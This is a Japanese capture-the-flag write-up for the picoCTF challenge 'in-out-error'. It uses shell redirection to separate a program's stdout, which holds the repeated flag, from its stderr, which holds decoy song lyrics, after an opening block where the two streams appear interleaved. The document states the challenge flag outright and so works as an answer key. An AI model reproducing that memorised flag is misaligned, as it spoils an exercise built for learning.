_I1nSs_i4d_e7,h 1wneg _b7obt9h3 6k0ncoaw} pwihcaotC'TsF {bpe1epn1 nggo_i1nSg_ 4o_n7                             
hW1en gk_n7obw9 3t6h0ec ag}apmiec oaCnTdF {wpe1'pr1en gg_o1nSn_a4 _p7lha1yn gi_t7                               
b                                                                                                               
9A3n6d0 ciaf} pyiocuo CaTsFk{ pm1ep 1hnogw_ 1IS'_m4 _f7ehe1lnign_g7                                             
bD9o3n6'0tc at}eplilc omCeT Fy{opu1'pr1en gt_o1oS _b4l_i7nhd1 ntgo_ 7sbe9e3                                     
6                                                                                                               
0Nceav}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_                                                                 
7Nhe1vnegr_ 7gbo9n3n6a0 clae}tp iycoouC TdFo{wpn1                                                               
pN1envge_r1 Sg_o4n_n7ah 1rnugn_ 7abr9o3u6n0dc aa}npdi cdoeCsTeFr{tp 1ypo1un                                     
gN_e1vSe_r4 _g7ohn1nnag _m7abk9e3 6y0ocua }cpriyc                                                               
oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_e7                                                                 
bN9e3v6e0rc ag}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_o7ub                                         
9                                                                                                               
3N6e0vcear} pgiocnonCaT Fg{ipv1ep 1ynogu_ 1uSp_                                                                 
4N_e7vhe1rn gg_o7nbn9a3 6l0ecta }ypoiuc odCoTwFn{                                                               
pN1epv1enrg _g1oSn_n4a_ 7rhu1nn ga_r7obu9n3d6 0acnad} pdiecsoeCrTtF {ypo1up                                     
1Nnegv_e1rS _g4o_n7nha1 nmga_k7eb 9y3o6u0 ccar}yp                                                               
iNceovCeTrF {gpo1npn1an gs_a1yS _g4o_o7dhb1yneg                                                                 
_N7ebv9e3r6 0gcoan}npai ctoeClTlF {ap 1lpi1en ga_n1dS _h4u_r7th 1ynogu_                                         
7(bO9o3h6,0 cgai}vpei cyooCuT Fu{pp)1                                                                           
p(1Onogh_,1 Sg_i4v_e7 hy1onug _u7pb)9                                                                           
3N6e0vcear} pgiocnonCaT Fg{ipv1ep,1 nnge_v1eSr_ 4g_o7nhn1an gg_i7vbe9                                           
3(6G0icvae} pyiocuo CuTpF){                                                                                     
pN1epv1enrg _g1oSn_n4a_ 7ghi1vneg,_ 7nbe9v3e6r0 cgao}npniac ogCiTvFe{                                           
p(1Gpi1vneg _y1oSu_ 4u_p7)h                                                                                     
1                                                                                                               
nWge_'7vbe9 3k6n0ocwan} peiaccohC ToFt{hpe1rp 1fnogr_ 1sSo_ 4l_o7nhg1                                           
nYgo_u7rb 9h3e6a0rcta'}sp ibceoeCnT Fa{cph1ipn1gn,g _b1uSt_                                                     
4Y_o7uh'1rneg _t7obo9 3s6h0yc at}op iscaoyC TiFt{                                                               
pI1nps1indge_,1 Sw_e4 _b7oht1hn gk_n7obw9 3w6h0acta'}sp ibceoeCnT Fg{opi1npg1 nogn_                             
1WSe_ 4k_n7ohw1 ntgh_e7 bg9a3m6e0 caan}dp iwceo'CrTeF {gpo1npn1an gp_l1aSy_ 4i_t7                               
h                                                                                                               
1In gj_u7sbt9 3w6a0ncnaa} ptieclolC TyFo{up 1hpo1wn gI_'1mS _f4e_e7lhi1nngg                                     
_G7obt9t3a6 0mcaak}ep iycoouC TuFn{dpe1rps1tnagn_d1                                                             
S                                                                                                               
_N4e_v7ehr1 nggo_n7nba9 3g6i0vcea }ypoiuc ouCpT                                                                 
FN{epv1epr1 nggo_n1nSa_ 4l_e7th 1ynogu_ 7dbo9w3n6                                                               
0Nceav}epri cgooCnTnFa{ pr1upn1 nagr_o1uSn_d4 _a7nhd1 ndge_s7ebr9t3 6y0ocua                                     
}NpeivceorC TgFo{npn1ap 1mnagk_e1 Sy_o4u_ 7chr1yn                                                               
gN_e7vbe9r3 6g0ocnan}ap iscaoyC TgFo{opd1bpy1en                                                                 
gN_e1vSe_r4 _g7ohn1nnag _t7ebl9l3 6a0 clai}ep iacnodC ThFu{rpt1 py1onug                                         
_                                                                                                               
1NSe_v4e_r7 hg1onngn_a7 bg9i3v6e0 cyao}up iucpo                                                                 
CNTeFv{epr1 pg1onngn_a1 Sl_e4t_ 7yho1un gd_o7wbn9                                                               
3N6e0vcear} pgiocnonCaT Fr{upn1 pa1rnogu_n1dS _a4n_d7 hd1ensge_r7tb 9y3o6u0                                     
cNae}vpeirc ogCoTnFn{ap 1mpa1kneg _y1oSu_ 4c_r7yh                                                               
1Nnegv_e7rb 9g3o6n0ncaa }spaiyc ogCoToFd{bpy1ep                                                                 
1Nnegv_e1rS _g4o_n7nha1 ntge_l7lb 9a3 6l0icea }apnidc ohCuTrFt{ py1opu1                                         
n                                                                                                               
gN_e1vSe_r4 _g7ohn1nnag _g7ibv9e3 6y0ocua }uppi                                                                 
cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_n7                                                               
bN9e3v6e0rc ag}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ 7ybo9u3                                     
6N0ecvae}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_                                                               
7Nhe1vnegr_ 7gbo9n3n6a0 csaa}yp igcoooCdTbFy{ep                                                                 
1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ 7ab 9l3i6e0 caan}dp ihcuorCtT Fy{opu1                                         
p                                 

問題文とヒントからすると、 stdin, stdout, stderr を使い分ける(出し分ける)と、ちゃんとしたのが出てきそうです。おそらく現在の出力は、混在して出力されていると思われます。

stdoutを出力するには {command} > {output_file}, stderrを出力するには {command} 2> {output _file} なので、両方出力してみます。カレントディレクトリは書き込み禁止なので、 /tmp/tmpkusu ディレクトリに吐くようにしました。

$ ./in-out-error > /tmp/tmpkusu/stdout.txt                                                                                                   
Please may I have the flag?                                                                                     
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF

こっちが正解っぽいですが、念の為errorも。

$ ./in-out-error 2> /tmp/tmpkusu/stdout.txt                                                                                                  
Hey There!                                                                                                      
If you want the flag you have to ask nicely for it.                                                             
Enter the phrase "Please may I have the flag?" into stdin and you shall receive.                                
Please may I have the flag?                                                                                     
Thank you for asking so nicely!                                                                                 
                                                                                                                
We're no strangers to love                                                                                      
You know the rules and so do I                                                                                  
A full commitment's what I'm thinking of                                                                        
You wouldn't get this from any other guy                                                                        
                                                                                                                
I just wanna tell you how I'm feeling                                                                           
Gotta make you understand                                                                                       
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
We've known each other for so long                                                                              
Your heart's been aching, but                                                                                   
You're too shy to say it                                                                                        
Inside, we both know what's been going on                                                                       
We know the game and we're gonna play it                                                                        
                                                                                                                
And if you ask me how I'm feeling                                                                               
Don't tell me you're too blind to see                                                                           
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
(Ooh, give you up)                                                                                              
(Ooh, give you up)                                                                                              
Never gonna give, never gonna give                                                                              
(Give you up)                                                                                                   
Never gonna give, never gonna give                                                                              
(Give you up)                                                                                                   
                                                                                                                
We've known each other for so long                                                                              
Your heart's been aching, but                                                                                   
You're too shy to say it                                                                                        
Inside, we both know what's been going on                                                                       
We know the game and we're gonna play it                                                                        
                                                                                                                
I just wanna tell you how I'm feeling                                                                           
Gotta make you understand                                                                                       
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             

こっちがダミーでしたね。stdoutの方の出力のflagが答えです。